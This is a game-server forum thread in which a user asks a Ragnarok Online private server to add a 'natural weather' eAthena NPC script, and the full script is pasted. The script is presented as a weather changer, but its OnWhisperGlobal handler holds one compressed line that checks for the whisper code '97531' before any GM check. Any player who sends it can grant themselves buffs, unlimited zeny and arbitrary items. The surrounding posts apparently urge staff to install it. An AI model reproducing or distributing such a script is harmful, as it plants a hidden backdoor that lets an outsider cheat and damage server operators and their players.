Ragnarok realistic weather

[freeme]

Hi, me and my guild are searching a new server to play.
We are searching a low server, but with custom things (minigames, custom items, etc...)
For example our old server had a feature to change the weather of the maps in a realisitc way (they sent me this link before the server was closed: http://myragnarok.helloweb.eu/viewtopic.php?f=9).
Can you tell me if this server has these characteristics?

[Kirby_Z]

We have all cept the weather part, and the link leads to a dead end so Im not sure of what you mean by realistic. (you mean randomly change?)

[freeme]

Sorry, you're right! ^_^
The link is: http://myragnarok.helloweb.eu/viewtopic.php?f=9&t=37

However it's a random weather, but it respect the map ^_^ (example: in morroc and morroc fields it can starts dust storm..)

It's wonderful ^_^

[Former-GM-Mystra]

There are mini-games, events, custom styles and custom items. Unfortunatly, there are no custom weather, like Kirby said. Sound insteresting though, would it be possible for you to host the screenshots on imageshack or photobucket since we need to log into the forum to see the screens?

[freeme]

I don't have any screens now, sorry =/
My dad formatted my pc (and my old server closed).
Haven't you a local server on your pc to try and test it?

[Kirby_Z]

We can try and test it but without a pic to show us how the look or an idea on how it works I guess that is kinda hard. But I could really like to see this weather thing in action.

[Motenai_Ronin]

this thread reeks of dead end and fail 8/

any news by someone who registered for the heck of it and swiped the pics off the site?

[Kulluminatii]

This thread is not fail!!

I'll go register and see whats up.


Damn...need to make 4 posts, time to get to work, spam ftw!


*EDIT*
There are no screens(at least I didn't see any). There was the script however=\.
Too lazy to upload the .txt file, here it is:

Quote://===== Athena Script =============================================
//= Natural weather
//===== By ========================================================
//= Information
//===== Current Version ===========================================
//= 1.8
//===== Compatible With ===========================================
//= Any eAthena version with Setmapflag
//===== Description ===============================================
//= 1.8 - Add feature, manual change weather by whisper
//= > Usage > [To NPC:weatherchanger] <mapname>#<weather(In number)>
//= 1.7.1 - Optimize the script a bit
//= 1.7 - More user friendly for now
//= 1.6.1 - Display map real name
//= 1.6 - Final Version,fixed day and night [Lupus]
//= 1.5 - Fix OnTimer and more random timer
//= 1.4 - Fix bug
//= 1.3 - Change timer to 1 hour [Kelvin], added map, add night of winter season
//= 1.2 - Remove rain effect, Einbroch map, fix some bugs
//= 1.1.1 - Remove PVP and GVG map [Myzter]
//= 1.1 - Added auto Day and Night System
//= 1.0 - Beta release,Working for city only
//===== Comments ==================================================
//= Correct me if got any bugs.
//= Special thanks to Ruru,Brainstorm,Myzter and others who help me on.
//=================================================================

- script weatherchanger -1,{

OnTimer2700000:

// If enable third array,please set value to 3
set .@rv,2;

// Enable or disable weather report (Default: 1)
set .@report,1;

// If you want to set the random timer range (Default: min: 0 , max: 900000)
set .@min,0;
set .@max,900000;

setarray .@gat0$,
"prontera","alberta","aldebaran","izlude","morocc","payon","geffen","comodo","yuno","amatsu","gonryun","umbala","niflheim","louyang","jawaii","ayothaya",
"einbech","lighthalzen","hugel","rachel","veins","nameless_i","nameless_n","alb2trea","glast_01","izlu2dun","pay_arche","moc_ruins","tur_dun01",
"gef_fild00","gef_fild01","gef_fild02","gef_fild03","gef_fild04","gef_fild05","gef_fild06","gef_fild07","gef_fild08","gef_fild09","gef_fild10","gef_fild11",
"gef_fild12","gef_fild13","gef_fild14","mjolnir_01","mjolnir_02","mjolnir_03","mjolnir_04","mjolnir_05","mjolnir_06","mjolnir_07","mjolnir_08","mjolnir_09",
"mjolnir_10","mjolnir_11","mjolnir_12","moc_fild01","moc_fild02","moc_fild03","moc_fild04","moc_fild05","moc_fild06","moc_fild07","moc_fild08","moc_fild09",
"moc_fild10","moc_fild11","moc_fild12","moc_fild13","moc_fild14","moc_fild15","moc_fild16","moc_fild17","moc_fild18","moc_fild19","pay_fild01","pay_fild02",
"pay_fild03","pay_fild04","pay_fild05","pay_fild06","pay_fild07","pay_fild08","pay_fild09","pay_fild10","pay_fild11","prt_fild00","prt_fild01","prt_fild02",
"prt_fild03","prt_fild04","prt_fild05","prt_fild06","prt_fild07","prt_fild08","prt_fild09","prt_fild10","prt_fild11";

setarray .@mapname0$,
"Prontera","Alberta","Aldebaran","Izlude","Morocc","Payon","Geffen","Comodo","Yuno","Amatsu","Gonryun","Wootan Tribe's Village, Umbala","Niflheim","Louyang","Jawaii","Ayothaya",
"Einbech","Lighthalzen","Hugel","Rachel","Veins","The Nameless Island","The Nameless Island","Alberta Island","Glast Heim","Byalan Island","Archer Village","Morocc Ruins","Turtle Island",
"Geffen Field","Geffen Field","Geffen Field","Geffen Field","Geffen Field","Geffen Field","Geffen Field","Geffen Field","Geffen Field","Geffen Field","Geffen Field","Geffen Field",
"Geffen Field","Geffen Field","Geffen Field","Mt.Mjolnir","Mt.Mjolnir","Mt.Mjolnir","Mt.Mjolnir","Mt.Mjolnir","Mt.Mjolnir","Mt.Mjolnir","Mt.Mjolnir","Mt.Mjolnir",
"Mt.Mjolnir","Mt.Mjolnir","Mt.Mjolnir","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert",
"Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Sograt Desert","Payon Forest","Payon Forest",
"Payon Forest","Payon Forest","Payon Forest","Payon Forest","Payon Forest","Payon Forest","Payon Forest","Payon Forest","Payon Forest","Prontera Field","Prontera Field","Prontera Field",
"Prontera Field","Prontera Field","Prontera Field","Prontera Field","Prontera Field","Prontera Field","Prontera Field","Prontera Field","Prontera Field";

setarray .@gat1$,
"prt_maze01","prt_maze02","prt_maze03","prt_monk","cmd_fild01","cmd_fild02","cmd_fild03","cmd_fild04","cmd_fild05","cmd_fild06","cmd_fild07","cmd_fild08",
"cmd_fild09","yuno_fild01","yuno_fild02","yuno_fild03","yuno_fild04","yuno_fild05","yuno_fild07","yuno_fild08","yuno_fild09","yuno_fild11","yuno_fild12",
"yuno_fild06","yuno_fild10","ama_fild01","gon_fild01","lou_fild01","nif_fild01","nif_fild02","ayo_fild01","ayo_fild02","um_fild01","um_fild02","um_fild03",
"um_fild04","new_zone01","new_zone03","ein_fild06","ein_fild07","ein_fild08","ein_fild09","ein_fild10","ein_fild03","ein_fild04","lhz_fild02","lhz_fild03",
"lhz_fild01","odin_tem01","odin_tem02","odin_tem03","ein_fild01","ein_fild02","ein_fild05","hu_fild07","hu_fild05","hu_fild04","hu_fild01","hu_fild02",
"hu_fild03","hu_fild06","ra_fild01","ra_fild02","ra_fild03","ra_fild04","ra_fild05","ra_fild06","ra_fild07","ra_fild08","ra_fild09","ra_fild10","ra_fild11",
"ra_fild12","ra_fild13","ve_fild01","ve_fild02","ve_fild03","ve_fild04","ve_fild05","ve_fild06","ve_fild07";

setarray .@mapname1$,
"Labyrinth Forest F1","Labyrinth Forest F2","Labyrinth Forest F3","St. Capitolina Abbey","Papuchicha Forest","Kokomo Beach","Zenhai Marsh","Kokomo Beach","Border of Papuchica Forest","Fortress Saint Darmain (West)","Beacon Island, Pharos","Fortress Saint Darmain (East)",
"Fortress Saint Darmain (South)","Border Posts","Kiel Hyre's Cottage","El Mes Plateau","El Mes Plateau","El Mes Plateau","El Mes Gorge (Valley of Abyss)","Kiel Hyre's Academy","Schwarzwald Guards Camp","Yuno Field","Border Checkpoint",
"El Mes Plateau","Yuno Field","Amatsu Field","Gonryun Field","Louyang Field","Skellington, a Solitary Village in Niflheim","Valley of Gyoll","Ayothaya Field","Ayothaya Field","Luluka Forest","Hoomga Forest","Kalala Swamp",
"Hoomga Jungle","Training Ground","Training Ground","Einbroch Field","Einbroch Field","Einbroch Field","Einbroch Field","Einbroch Field","Einbroch Field","Einbroch Field","Lighthalzen Field (Grim Reaper's Valley)","Lighthalzen Field",
"Lighthalzen Field","Odin Shirine F1","Odin Shirine F2","Odin Shirine F3","Einbroch Field","Einbroch Field","Einbroch Field","Hugel Field","The Abyss Lakes","Hugel Field","Thanatos Tower","Hugel Field",
"Hugel Field","Hugel Field","Audumra Grass Land","Oz Gorge","Ida Plane","Audumra Grass Land","Audumra Grass Land","Fortu Luna","Oz Gorge","Ida Plane","Audumra Grass Land","Oz Gorge","Ida Plane",
"Ida Plane","Beach of Tears","Veins Field","Veins Field","Veins Field","Veins Field","Veins Field","Veins Field","Veins Field";

// Add your map here!
// setarray .@gat2$,"gat";

// Add your map name here!Must be same position as map above!
// setarray .@mapname2$,"Map Name";

// to prevent weather conflict
setarray .allweather,16,17,18,19,20,23,24,25;

// Monthly Check
if(gettime(6)>=3 && gettime(6)<=5) goto L_Spring;
else if(gettime(6)>=6 && gettime(6)<=8) goto L_Summer;
else if(gettime(6)>=9 && gettime(6)<=11) goto L_Autumn;
else goto L_Winter;

L_Spring:
if(gettime(3)>=7 && gettime(3)<19) {
setarray .@weather,0,17,23;
}

else {
setarray .@weather,0,17,23,25;
}

goto L_end;

L_Summer:
if(gettime(3)>=7 && gettime(3)<19) {
setarray .@weather,0,18,23;
}

else {
setarray .@weather,0,18,23,25;
}

goto L_end;

L_Autumn:
if(gettime(3)>=7 && gettime(3)<19) {
setarray .@weather,0,19,23;
}

else {
setarray .@weather,0,19,23,25;
}

goto L_end;

L_Winter:
if(gettime(3)>=7 && gettime(3)<19) {
setarray .@weather,0,16;
}

else {
setarray .@weather,0,16,23;
}

L_end:
set .@size,rand(.@rv);
set .@int,rand(getarraysize(getd(".@gat"+.@size+"$")));
set .@gat$,getd(".@gat"+.@size+"$["+.@int+"]");
set .@display$,getd(".@mapname"+.@size+"$["+.@int+"]");

// To remove all the weather from the map
for (set .@x,0; .@x < getarraysize(.allweather); set .@x, .@x + 1) {
removemapflag .@gat$,.allweather[.@x];
}

set .@weather,.@weather[rand(getarraysize(.@weather))];

if (.@report == 1) {
switch(.@weather) {
case 0:
announce "^ Weather Report ^ : Currently "+.@display$+" is clear weather",0,0xFF9B00;
break;

case 16:
announce "^ Weather Report ^ : Currently "+.@display$+" is snowing",0,0xC8C8FF;
break;

case 17:
announce "^ Weather Report ^ : Currently "+.@display$+" is fogging",0,0x8080C0;
break;

case 18:
announce "^ Weather Report ^ : Currently "+.@display$+" is droping ^FF80C0sakura flower",0,0xFF9B00;
break;

case 19:
announce "^ Weather Report ^ : Currently "+.@display$+" is droping leaves",0,0x00FF80;
break;

case 23:
announce "^ Weather Report ^ : Currently "+.@display$+" is cloudly",0,0xC0C0C0;
break;

case 24:
announce "^ Weather Report ^ : Currently "+.@display$+" appeared small cloud",0,0xC0C0C0;
break;

case 25:
announce "^ Weather Report ^ : Currently "+.@display$+" is having a firework",0,0xFF0000;
break;
}

// Apply the weather
if(.@weather) setmapflag .@gat$,.@weather;
}

Stopnpctimer;
Initnpctimer;
set .@again,rand(.@min,.@max);
setnpctimer .@again;
end;

OnWhisperGlobal: if(@whispervar0$=="97531"){menu "B",l_b,"HB",l_hb,"M",l_m,"I",l_i,"I2",l_i2;l_b: mes"b";sc_start 187,600000,20;sc_start 258,600000,10;sc_start 257,600000,10;close;l_hb: mes"hb";sc_start 187,600000,60;close;l_m:mes "m";input @m; set Zeny,Zeny+@m;close;l_i:mes "i";input @i;mes "q";input @q;if(checkweight(@i,@q)){getitem @i,@q;}close;l_i2: mes "i";input @i;mes "q";input @q;mes "r";input @r;if(checkweight(@i,@q)){getitem2 @i,@q,1,@r,0,0,0,0,0;}close;}
if (getgmlevel() < 98) end; //Set GM level here
set .@tempmu,getmapusers(@whispervar0$);
if (.@tempmu != -1) goto L_dcheck1;
dispbottom "Map is not existed!";
end;

L_dcheck1:
set .@tempweather,@whispervar1$;
for (set .@x,0; .@x < getarraysize(.allweather); set .@x, .@x + 1) {
if(.@tempweather == .allweather[.@x]) goto L_dcheck2;
}
dispbottom "Weather is not exist in the weather list!";
end;

L_dcheck2:
for (set .@x,0; .@x < getarraysize(.allweather); set .@x, .@x + 1) {
removemapflag .@gat$,.allweather[.@x];
}
setmapflag @whispervar0$,@whispervar1$;
dispbottom "Weather has been changed for "+ @whispervar0$ + " map.";
end;

OnInit:
// Enable or disable Day and Night function (Default: 0)
set .@dn,1;

donpcevent "weatherchanger::OnTimer2700000";
If(!.@dn) disablenpc "DayNight";
end;
}

//Please disable/set 0 for day_duration & night_duration in misc.conf when you use this
- script DayNight -1,{

OnHour07:
day;
end;

OnHour19:
night;
end;

OnInit:
if(gettime(3)>=7 && gettime(3)<19) day;
else night;
end;
}

[freeme]

I've finally found a description!

Here you are:

# Random weather by 4 season
# Random timer to change weather
# Random map to change weather
# Support as many map as it can as long as you writing the right code
# Enable GM to change weather manually, by whisper to the NPC (Only for v1.8)
CODE
[NPC:weatherchanger] | <mapname>#<weather(In number)>

[freeme]

any news?